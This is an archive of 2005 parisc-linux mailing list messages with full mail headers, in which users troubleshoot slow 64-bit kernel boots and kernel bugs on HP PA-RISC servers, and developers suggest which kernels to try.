	by free.linux.hp.com (Postfix) with ESMTP id 236407D69D;
	Fri,  3 Jun 2005 10:02:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06591-10; Fri, 3 Jun 2005 10:02:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 173847D695;
	Fri,  3 Jun 2005 10:02:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 792A17D692
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 10:01:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06591-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Jun 2005 10:01:57 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 8E13A7D690
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 10:01:56 -0600 (MDT)
Original-Received: from mail-3-bnl.mail.tiscali.sys ([10.39.115.133]
	helo=mail-3-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DeEcJ-0005lT-Rw; Fri, 03 Jun 2005 18:01:54 +0200
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Fri, 3 Jun 2005 18:01:51 +0200
In-Reply-To: <4282FEEE00008707@mail-5-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RxrSYoZOeSEkZL6WZHQhaXN1IGRvb8Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22757

Hello all,

> >
> > On Fri, 2005-05-20 at 19:16 +0200, Joel Soete wrote:
> > > Btw I also have an external bootable disk narrow SE connected to th=
e
> s710
> > > driver. Do you know if this one is 64bit capable?
> >
> > The lasi700 driver works fine in a 64 bit kernel, yes.
> >
> You have right I just reinstall an external disk on lasi700 (53c700) co=
ntroler
> and boot a 64bit kernel (with ncr53c8x as module) :-)
> 
> BUT it is horribly slow:
>     o it takes about a 1.5 h to boot (about 5 min for its twin 32bit)
>     o a ssh connection takes about a min too (only some seconds for 32b=
it
> kernel)
> 
> and fwiw top:
> top - 13:49:13 up  1:02,  1 user,  load average: 1.98, 3.13, 3.64
> Tasks:  39 total,   4 running,  35 sleeping,   0 stopped,   0 zombie
> Cpu(s):  0.0% us,  0.0% sy,  0.0% ni, 100.0% id,  0.0% wa,  0.0% hi,  0=
.0%
> si
> Mem:    252696k total,    47148k used,   205548k free,     3192k buffer=
s
> Swap:   131928k total,        0k used,   131928k free,    27104k cached=

> [...]
> 
> just show an 100% idle system?
> 
> Another known issue for this kind of d model?
> 
> Any idea?
> 
> Thanks,
>     Joel
> 
> btw: I read this strange messages when it init raid5
> [snip]
> md: linear personality registered as nr 1
> md: raid0 personality registered as nr 2
> md: raid1 personality registered as nr 3
> md: raid5 personality registered as nr 4
> raid5: measuring checksumming speed
>    8regs     : -923425.-184 MB/sec
>    8regs_prefetch: 1824022.112 MB/sec
>    32regs    : 328350.816 MB/sec
>    32regs_prefetch: -1188109.-184 MB/sec
> raid5: using function: 8regs_prefetch (1824022.112 MB/sec)
> md: md driver 0.90.1 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
> [snip]
> 
> while the 32bit showed me more relevant values:
> md: linear personality registered as nr 1
> md: raid0 personality registered as nr 2
> md: raid1 personality registered as nr 3
> md: raid5 personality registered as nr 4
> raid5: measuring checksumming speed
>    8regs     :   574.400 MB/sec
>    8regs_prefetch:   387.600 MB/sec
>    32regs    :   447.600 MB/sec
>    32regs_prefetch:   345.200 MB/sec
> raid5: using function: 8regs (574.400 MB/sec)
> md: md driver 0.90.1 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
> 
> obviously I remove also raid5 support but it doesn't help :-(
> 
Would I ever have a chance to boot it 64bits?

Here are some additional strage stuff:
[snip]
CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz
Whole cache flush 378186 cycles, flushing 274443696 bytes 107618208 cycle=
s
Setting cache flush threshold to 0xeb780 (1 CPUs online)
[snip]
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffffffffffd07000, IRQ 17
eth0: 82596 at 0xffffffffffd07000, 00 00 00 00 08 00 IRQ 17.
[snip]

while the 32bit kernel said:
[snip]
Setting cache flush threshold to 20 (1 CPUs online)
[snip]
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffd07000, IRQ 17javascript:OnPhoenixSend();
eth0: 82596 at 0xffd07000, 08 00 09 D2 89 15 IRQ 17.
[snip]

Questions are:
    o could it be that 'cache flush threshold' value was the reason why t=
he
system became so slow?
       (couldn't it be why ncr doesn't start correctly?
        s=3D2 sec in top actualy means about 30sec between 2 changes in d=
isplay
:-( )
    o Is nic 82596 is not 64bit ready? (apparently didn't report the righ=
t
MAC Address?)

Thanks in advance for help,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Coletti <dcoletti@xtech.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux on a HP 9000/800/N4000-36
Date: Fri, 03 Jun 2005 16:36:13 -0300
Lines: 38
Approved: news@gmane.org
Message-ID: <42A0B12D.8070602@xtech.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623798 14758 80.91.229.3 (22 Nov 2014 02:36:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:38 +0000 (UTC)
Cc: Roel <Rule@freegates.be>,
 Peter Van Loock <pvl@maxon.be>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 19:33:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 03 Jun 2005 21:33:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B287B7D688;
	Fri,  3 Jun 2005 13:33:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08237-05; Fri, 3 Jun 2005 13:33:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EFEF7D68C;
	Fri,  3 Jun 2005 13:33:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3637B7D686
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 13:33:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07874-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Jun 2005 13:33:38 -0600 (MDT)
Original-Received: from rex3.xtechq.com.ar (unknown [200.68.115.49])
	by free.linux.hp.com (Postfix) with ESMTP id 8F5967D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 13:33:38 -0600 (MDT)
Original-Received: by rex3.xtechq.com.ar (Postfix, from userid 1256)
	id 8218B3472DDD; Fri,  3 Jun 2005 16:34:19 -0300 (ART)
Original-Received: from [192.168.2.100] (unknown [192.168.1.5])
	by rex3.xtechq.com.ar (Postfix) with ESMTP id DD92B3494FE1;
	Fri,  3 Jun 2005 16:34:13 -0300 (ART)
User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050322)
X-Accept-Language: en-us, en
X-Bogosity: No, tests=bogofilter, spamicity=0.042221, version=0.94.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8tXSYvZ8eSEkUb6WZHQhaXN1IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22758

Hi,
	I tried to install Debian on a HP9000/800/N4000-36 and the kernel 
doesn't work. As I can read in this[0] page, somebody did make it work 
but on a -55 model (not -36 like the one I tried with).
http://hwdb.parisc-linux.org/view.php?type=machine&name=N4000-55

Since I used the HP console I don't have the full output, but the 
startup seams to work fine (with the default kernel params) until it 
starts writing:
Kernel bug at lba_pci.c:1285!
Kernel bug at lba_pci.c:1250!
lba range[2]: ignoring GMMIO (0x-a-lot-of-hexa-numbers)
[....]
WARNING! Stack pointer and cr30 do not correspond
Dumping virtual address stack instead
Dumping from 0x000000005fd40000 to 0x000000005fa44b00

and it prints lots and lots of hexa numbers and sais things like "PSW: 
NNNNN Not tainted nnnnNNNnnNN"

I tried with debian-woody official ISO (downloaded from debian), is 
there something special that I have to do with the HP N-class?
Is there another kernel I should try out?

thanks a lot.

daniel///
-- 
Daniel Coletti
XTech (Soluciones Linux para Empresas) - http://www.xtech.com.ar
25 de Mayo 293 - 5to. 'B'
Buenos Aires, Argentina
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on a HP 9000/800/N4000-36
Date: Sat, 04 Jun 2005 09:11:23 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <42A1703B.3090206@tiscali.be>
References: <42A0B12D.8070602@xtech.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623798 14765 80.91.229.3 (22 Nov 2014 02:36:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:38 +0000 (UTC)
Cc: Roel <Rule@freegates.be>,
 Peter Van Loock <pvl@maxon.be>,
 parisc-linux@lists.parisc-linux.org
To: Daniel Coletti <dcoletti@xtech.com.ar>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 09:11:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 04 Jun 2005 11:11:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 766F17D65E;
	Sat,  4 Jun 2005 03:11:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11457-03; Sat, 4 Jun 2005 03:11:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 760817D65F;
	Sat,  4 Jun 2005 03:11:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2FC47D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 03:11:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11020-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 03:11:27 -0600 (MDT)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 15D4A7D657
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 03:11:27 -0600 (MDT)
Original-Received: from [83.134.224.71] (helo=[83.134.224.71])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DeUa2-0007rg-Kk; Sat, 04 Jun 2005 11:04:35 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <42A0B12D.8070602@xtech.com.ar>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HhXTYoMeeSEkMb6WZHQhaXN1IGRvb8CZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22759



Daniel Coletti wrote:
> Hi,
>     I tried to install Debian on a HP9000/800/N4000-36 and the kernel 
> doesn't work. As I can read in this[0] page, somebody did make it work 
> but on a -55 model (not -36 like the one I tried with).
> http://hwdb.parisc-linux.org/view.php?type=machine&name=N4000-55
> 
Afaik, the only diff is the cpu clock?

> Since I used the HP console I don't have the full output, but the 
> startup seams to work fine (with the default kernel params) until it 
> starts writing:
> Kernel bug at lba_pci.c:1285!
> Kernel bug at lba_pci.c:1250!
> lba range[2]: ignoring GMMIO (0x-a-lot-of-hexa-numbers)
> [....]
> WARNING! Stack pointer and cr30 do not correspond
> Dumping virtual address stack instead
> Dumping from 0x000000005fd40000 to 0x000000005fa44b00
> 
> and it prints lots and lots of hexa numbers and sais things like "PSW: 
> NNNNN Not tainted nnnnNNNnnNN"
> 
> I tried with debian-woody official ISO (downloaded from debian), is 
> there something special that I have to do with the HP N-class?
As far as remember, woody comes with kernel 2.4?
Unfortunately, iirc the pb you encountered is a well known _smp_ kernel bug never fixed in 2.4 but well it 2.6 :-)

> Is there another kernel I should try out?> 
First try to install a up kernel (for the A, L and N Class is must be a 64bit).
Then you would be able to upgrade to sarge and install a 2.6 kernel (may be try first a up kernel then try the smp one)

Or you could reinstall your system with a recent netinstall iso cd:
<http://cdimage.debian.org/pub/cdimage-testing/sarge_d-i/hppa/>

Hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on a HP 9000/800/N4000-36
Date: Sat, 4 Jun 2005 12:40:54 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20050604184054.GF19823@colo.lackof.org>
References: <42A0B12D.8070602@xtech.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623798 14770 80.91.229.3 (22 Nov 2014 02:36:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:38 +0000 (UTC)
Cc: Roel <Rule@freegates.be>,
 Peter Van Loock <pvl@maxon.be>,
 parisc-linux@lists.parisc-linux.org
To: Daniel Coletti <dcoletti@xtech.com.ar>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 18:37:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 04 Jun 2005 20:37:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FFDC7D68B;
	Sat,  4 Jun 2005 12:37:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15945-10; Sat, 4 Jun 2005 12:37:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E54C7D68C;
	Sat,  4 Jun 2005 12:37:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5AD57D688
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 12:37:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15996-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 12:37:23 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3C55F7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 12:37:23 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 547DF298056;
	Sat,  4 Jun 2005 12:40:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27348-01; Sat, 4 Jun 2005 12:40:54 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B8C0129803C; Sat,  4 Jun 2005 12:40:54 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42A0B12D.8070602@xtech.com.ar>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vZHTYpgheSEkZr6WZHQhaXN1IGRvb8CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22760

On Fri, Jun 03, 2005 at 04:36:13PM -0300, Daniel Coletti wrote:
> Since I used the HP console I don't have the full output,

Daniel,
can you try to capture the full output?
And then post it to parisc-linux@lists.parisc-linux.org?

I need to know which kernel you are running.

Here are more tips on how to report kernel bugs:
	http://www.parisc-linux.org/faq/kernelbug-howto.html


> Kernel bug at lba_pci.c:1285!
> Kernel bug at lba_pci.c:1250!
> lba range[2]: ignoring GMMIO (0x-a-lot-of-hexa-numbers)

This won't prevent the box from booting.

> I tried with debian-woody official ISO (downloaded from debian), is 
> there something special that I have to do with the HP N-class?
> Is there another kernel I should try out?

Yes, probably. Joel should be able to point at one on
http://cvs.parisc-linux.org/download/linux-2.6 that
will work for you.

Getting it on the machine is another issue.
See the other thread on debian-hppa mailing list for ideas
on how to replace a kernel on a non-booting machine.

grant

> 
> thanks a lot.
> 
> daniel///
> -- 
> Daniel Coletti
> XTech (Soluciones Linux para Empresas) - http://www.xtech.com.ar
> 25 de Mayo 293 - 5to. 'B'
> Buenos Aires, Argentina
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on a HP 9000/800/N4000-36
Date: Sat, 04 Jun 2005 19:51:56 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <42A2065C.7080908@tiscali.be>
References: <42A0B12D.8070602@xtech.com.ar>
	<20050604184054.GF19823@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623799 14775 80.91.229.3 (22 Nov 2014 02:36:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:39 +0000 (UTC)
Cc: Roel <Rule@freegates.be>,
 Peter Van Loock <pvl@maxon.be>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 19:52:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 04 Jun 2005 21:52:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02CE07D698;
	Sat,  4 Jun 2005 13:52:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16679-10; Sat, 4 Jun 2005 13:52:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 637EA7D69D;
	Sat,  4 Jun 2005 13:52:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9826F7D692
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 13:52:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16753-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 13:52:03 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 09F907D690
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 13:52:03 -0600 (MDT)
Original-Received: from [83.134.223.54] (helo=[83.134.223.54])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DeegX-0000Is-Ds; Sat, 04 Jun 2005 21:51:57 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050604184054.GF19823@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
